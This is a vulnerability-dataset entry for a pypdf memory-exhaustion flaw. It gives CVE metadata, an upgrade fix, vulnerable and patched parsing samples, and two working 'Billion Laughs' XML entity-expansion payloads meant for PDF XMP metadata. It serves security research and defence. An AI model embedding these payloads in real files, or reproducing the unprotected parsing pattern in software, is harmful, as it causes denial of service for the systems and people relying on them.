CVE-2026-40260
pypdf: Memory exhaustion (DoS) via crafted XMP metadata in a PDF.
- CVSS 6.9
- CWE-776
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. In versions prior to 6.10.0, manipulated XMP metadata entity declarations can exhaust RAM. An attacker who exploits this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the XMP metadata. This issue has been fixed in version 6.10.0.
- CWE
- CWE-776
- CVSS base score
- 6.9
- Published
- 2026-04-16
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Serialization Issues
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade `pypdf` to version 6.10.0 or later.
Vulnerable code sample
import xml.etree.ElementTree as ET
# In versions of pypdf prior to 6.10.0, the library used Python's standard
# xml.etree.ElementTree to parse XMP metadata. This parser, by default, is
# vulnerable to XML entity expansion attacks (also known as "Billion Laughs").
#
# The code below simulates the vulnerable action. An attacker would craft a
# PDF file containing XMP metadata similar to the 'malicious_xmp_payload'.
# When a vulnerable pypdf version parses this metadata, it would execute a
# call equivalent to ET.fromstring(), triggering the massive memory allocation.
#
# WARNING: Executing this code may cause your machine to use a large amount
# of memory and become unresponsive or terminate the process.
malicious_xmp_payload = """<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:source>&lol7;</dc:source>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
"""
# This is the vulnerable call. It attempts to parse the XML string,
# which leads to the recursive expansion of the "&lol7;" entity,
# consuming a very large amount of memory and causing a denial of service.
root = ET.fromstring(malicious_xmp_payload)Patched code sample
import xml.etree.ElementTree as ET
from typing import Optional
# This function is a representation of the fix applied in pypdf's _xmp.py
# module. The vulnerability existed when the XML was parsed without a custom
# parser, allowing an XML External Entity (XXE) or "Billion Laughs" attack
# via maliciously crafted XMP metadata.
def get_xmp_root_fixed(xmp_bytes: bytes) -> Optional[ET.Element]:
"""
Safely parses XMP data to get the root element.
This version includes the fix that prevents entity expansion attacks by
supplying a custom parser that disables entity processing.
Args:
xmp_bytes: A byte string containing the XMP data.
Returns:
The root of the parsed XML tree if successful and safe,
otherwise None.
"""
try:
# THE FIX:
# 1. An XMLParser instance is created.
parser = ET.XMLParser()
# 2. Its 'entity' dictionary is replaced with an empty one.
# This prevents the parser from defining or expanding any entities,
# which directly mitigates the exponential entity expansion attack.
# A vulnerable payload will now raise a ParseError for an
# "undefined entity" instead of consuming excessive memory.
parser.entity = {}
# 3. The safe parser is used to parse the XML data.
root = ET.fromstring(xmp_bytes, parser=parser)
return root
except ET.ParseError:
# If parsing fails (which it will for a malicious payload using this
# attack vector), return None instead of crashing or hanging.
return NonePayload
<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:subject>
<rdf:Bag>
<rdf:li>&lol9;</rdf:li>
</rdf:Bag>
</dc:subject>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
Cite this entry
@misc{vaitp:cve202640260,
title = {{pypdf: Memory exhaustion (DoS) via crafted XMP metadata in a PDF.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40260},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40260/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
